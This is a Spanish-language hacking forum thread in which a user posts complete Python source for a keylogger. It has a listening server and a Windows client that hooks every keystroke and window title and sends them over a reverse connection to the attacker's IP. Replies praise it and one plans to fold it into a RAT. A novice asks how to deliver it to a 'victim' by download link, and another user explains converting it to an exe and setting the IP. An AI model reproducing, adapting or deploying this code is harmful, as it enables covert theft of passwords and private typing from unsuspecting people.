Hola a todos! Aqui vengo a dejar una mejora del keylogger con algunos cambio y algunas opciones agregadas.
Primero que nada cambie la forma de conexion, haciendolo de conexion inversa. Siendo la victima quien se conecte a nosotros y no tener que poner la IP para conectarse.
Agregue un menu para hacerlo mas vistoso, poniendole algunas opciones basicas. Y tambien agregue la posibilidad de ver la captura del teclado desde la terminal o tambien ir guardandolo es un archivo plano.
Tambien habia agregados hilos en el servidor para poder ir captando las teclas que recibe y tener la posibilidad de alguna forma de poder cancelar el enlace, pero quite los hilos y lo solucione con la funcion fork() que crea procesos hijos. Con lo cual pude obtener lo que deseaba.
Y si no me olvido de nada mas, como ultimo y se ve en el video, ademas de capturar las teclas tambien envia las ventanas en que son presionada las teclas. :)
Codigos:Servidor:#!/usr/bin/env python
# -*- coding: utf-8 -*-
##########################################
## ##
## Keylogger v1.1 ##
## By Expermicid ##
## Fecha inicio : 16/10/12 ##
## Fecha fin : 18/10/12 ##
## Servidor ##
## ##
##########################################
import socket
import os, sys
def ImprimirCabecera() :
print ' ####################################################'
print ' #### ####'
print ' #### Keylogger v1.1 --- By Expermicid ####'
print ' #### ####'
print ' ####################################################'
def CrearArchivo() :
archivo=open('Logs.txt','w')
archivo.close()
def EscribirArchivo(texto) :
archivo=open('Logs.txt','a')
archivo.write(texto)
archivo.close()
def Capturar(s, sc, opc2) :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### CAPTANDO TECLAS ####'
print ' ####################################################\n'
print '--------------------------------------------------------------------------------\n'
if opc2 == '3' :
CrearArchivo()
EscribirArchivo('Logs de Keylogger v1.1 --- By Expermicid\n')
texto = ''
nombreWindows = ''
while True :
try :
recibido = sc.recv(1024)
except :
pass
else :
if len(recibido) > 0 :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### CAPTANDO TECLAS ####'
print ' ####################################################\n'
print '--------------------------------------------------------------------------------\n'
if recibido[0] == ':' :
letra = ':'
window = recibido[2:]
else :
letra = recibido.split(':')[0]
window = recibido.split(':')[1]
if opc2 == '1' :
if window != nombreWindows :
texto += '\n\n***' + window + '***\n\n'
nombreWindows = window
texto += letra
print texto
elif opc2 == '2' :
if window != nombreWindows :
EscribirArchivo('\n\n***' + window + '***\n\n')
nombreWindows = window
EscribirArchivo(letra)
elif opc2 == '3' :
if window != nombreWindows :
texto += '\n\n***' + window + '***\n\n'
EscribirArchivo('\n\n***' + window + '***\n\n')
nombreWindows = window
texto += letra
print texto
EscribirArchivo(letra)
def Desconectar(s, sc) :
while True :
comando = raw_input()
if comando == 'Q' or comando == 'q' :
sc.close()
s.close()
break
Main()
def Main() :
opc1 = ''
while opc1 != '1' and opc1 != '2' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### MENU ####'
print ' ####################################################'
print ' #### 1) ver si hay victimas conectadas ####'
print ' #### 2) salir ####'
print ' ####################################################\n'
opc1 = raw_input('>>> ')
if opc1 == '2' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### DESPEDIDA ####'
print ' ####################################################'
print ' #### Gracias por usar mi keylogger ####'
print ' #### Saludos, Expermicid ####'
print ' ####################################################\n'
raw_input()
elif opc1 == '1' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### ESPERANDO VICTIMA ####'
print ' ####################################################\n'
host = ''
port = 5000
try :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
sc, addr = s.accept()
except :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### CONFLICTO ####'
print ' ####################################################'
print ' #### Ocurrio algun problema :( ####'
print ' ####################################################\n'
raw_input()
else :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### VICTIMA ####'
print ' ####################################################\n'
print 'Se conecto una victima :)' #sc.getpeername()
raw_input()
opc2 = ''
while opc2 != '1' and opc2 != '2' and opc2 != '3' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print ' #### CONEXION CORRECTA :) ####'
print ' ####################################################'
print ' #### OPCIONES ####'
print ' ####################################################'
print ' #### 1) ver teclas en consola ####'
print ' #### 2) guardar teclas en archivo ####'
print ' #### 3) ver en consola y guardar en archivo ####'
print ' ####################################################\n'
opc2 = raw_input('>>> ')
child_pid = os.fork()
if child_pid == 0 :
Capturar(s,sc,opc2)
else :
Desconectar(s,sc)
return
Main()
Cliente:# -*- coding: cp1252 -*-
##########################################
## ##
## Keylogger v1.1 ##
## By Expermicid ##
## Fecha inicio : 16/10/12 ##
## Fecha fin : 18/10/12 ##
## Cliente ##
## ##
##########################################
import socket
import pythoncom, pyHook
def OnKeyboardEvent(event) :
# letras minusculas y letras mayusculas
if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) :
letra = chr(event.Ascii)
# numeros
elif event.Ascii > 47 and event.Ascii < 58 :
letra = chr(event.Ascii)
# F1 .. F12
elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 :
letra = ' ['+event.Key+'] '
# Espacio
elif event.Ascii == 32 :
letra = chr(event.Ascii)
# Enter
elif event.Ascii == 13 :
letra = '\n'
# BackSpace
elif event.Ascii == 8 :
letra = '[BackSpace]'
# Escape
elif event.Ascii == 27 :
letra = '[Escape]'
# Tab
elif event.Ascii == 9 :
letra = chr(event.Ascii)
# Flechas
elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 :
letra = '['+event.Key+']'
# Bloq Mayus
elif event.KeyID == 20 and event.Ascii == 0 :
letra = '[BloqMayus]'
# caracteres
elif event.Ascii > 32 and event.Ascii < 48 :
letra = chr(event.Ascii)
# caracteres
elif event.Ascii > 57 and event.Ascii < 65 :
letra = chr(event.Ascii)
# caracteres
elif event.Ascii > 90 and event.Ascii < 97 :
letra = chr(event.Ascii)
# caracteres
elif event.Ascii > 122 and event.Ascii < 127 :
letra = chr(event.Ascii)
# Insetar / Delete
elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 :
letra = ' ['+event.Key+'] '
# ascii extendido
elif event.Ascii > 127 and event.Ascii < 255 :
letra = chr(event.Ascii)
# Flechas
elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 :
letra = '['+event.Key+']'
# Win / Apps
elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 :
letra = '['+event.Key+']'
# Inicio-Fin / RePag-AvPag
elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 :
letra = '['+event.Key+']'
# caracter Ž
elif event.KeyID == 222 and event.Ascii == 0 :
letra = '´'
try :
s.send(letra+':'+event.WindowName)
except :
pass
return True
try:
host = 'Ip_a_Conectar' # sustituir Ip_a_Conectar por la que corresponda
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
except :
pass
else:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
NOTA: Si ven en el cliente van a necesitar poner la ip a la que se tiene que conectar.
NOTA 2: En el servidor, cuando se conecta una victima y yo imprimo avisando lo ocurrido como comentario puse 'sc.getpeername()', si ustedes ponen que se imprima eso, van a obtener los datos de la victima que se conecto como la IP.
Video:Saludos
muy bueno expermicid
gracias
Excelente aporte! Yo estoy escribiendo un RAT en python. Voy a tener en cuenta este código para incluirlo como una función más.
Saludos!
WhiZ
Very good! :O!
Hola amigo, soy un novato en todo aspecto, no se usar ++C, solo se usar PAWNO (Simple) y no sé como convertir estos cogidos a un programa ejecutable :s una duda, esto se puede poner en un link de descargar para la victima, este ejecuta el archivo ya cayó en la trampa??? o no es así? :s
Y que es eso de la IP a conectar? saludos y espero respuestas, gracias. ???
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Hola amigo, soy un novato en todo aspecto, no se usar ++C, solo se usar PAWNO (Simple) y no sé como convertir estos cogidos a un programa ejecutable :s una duda, esto se puede poner en un link de descargar para la victima, este ejecuta el archivo ya cayó en la trampa??? o no es así? :s
Y que es eso de la IP a conectar? saludos y espero respuestas, gracias. ???
El keylogger está codeado en Python que es un lenguaje interpretado así que para que el keylogger funcione, la víctima deberá tener python instalado, o puedes convertir el script a exe (http://underc0de.org/foro/python/como-crear-un-ejecutable-(-exe)-de-python-para-poderlo-ejecutar-en-windows/)
Acerca de la Ip, el cliente captura lo que presiona la víctima y lo envía al servidor (donde ves lo que presionó la víctima) pero para que se pueda establecer la conexión, necesitas "decirle" al cliente la dirección donde está escuchando el servidor (La ip de la máquina donde tienes escuchando el servidor). Busca acerca de aplicaciones cliente servidor para que te aclares más.
Saludos!
Excelente aporte, muy bueno, gracias por compartir...
Saludos!!! ;D
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
El keylogger está codeado en Python que es un lenguaje interpretado así que para que el keylogger funcione, la víctima deberá tener python instalado, o puedes convertir el script a exe (http://underc0de.org/foro/python/como-crear-un-ejecutable-(-exe)-de-python-para-poderlo-ejecutar-en-windows/)
Concuerdo con 11Sep, aunque eso no lo hace malo ni nada de eso un buen aporte, yo por ahora estoy ocupando el syslogger ya que como no tengo acceso al router no puedo ocupar un RAT, por eso me fio en la opcion smtp. Buen aporte ;D
Muy buen code, te quedo muy limpio ;D
-Saludos-
Buen material, pero el gran problema que tienen los keylogger hechos con las bibliotecas pyHook y pythoncom es que te bloquea muchos caracteres. Es decir, si queres colocar una tilde no te va a dejar, y tampoco te deja usar ALT + COMBINACION_DE_NUMPAD. Te recomendaria utilizar ctypes.
Saludos